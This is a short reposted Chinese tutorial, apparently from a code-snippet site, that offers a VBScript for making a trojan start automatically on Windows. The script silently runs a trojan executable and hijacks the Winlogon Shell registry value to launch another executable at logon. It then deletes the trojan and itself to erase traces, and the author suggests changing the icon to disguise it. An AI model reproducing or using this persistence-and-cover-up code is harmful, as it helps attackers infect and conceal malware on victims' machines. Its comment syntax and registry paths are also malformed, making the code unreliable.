vbs 注册表实现木马自启动

2019-10-26 18:02:35

字体：大中小

来源：转载

供稿：网友

呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～
复制代码代码如下:

dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%/flumasko.exe",0 //运行木马程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Shell","Explorer.exe %systemroot%/system32/winmgmt.exe"
//写进注册表项实现自启动
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木马的执行完毕
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毁尸灭迹

再修改下图标就大功告成了！

上一篇：vbs,hta中选择文件夹对话框实现代码

下一篇：利用WMI实现系统补丁检测分析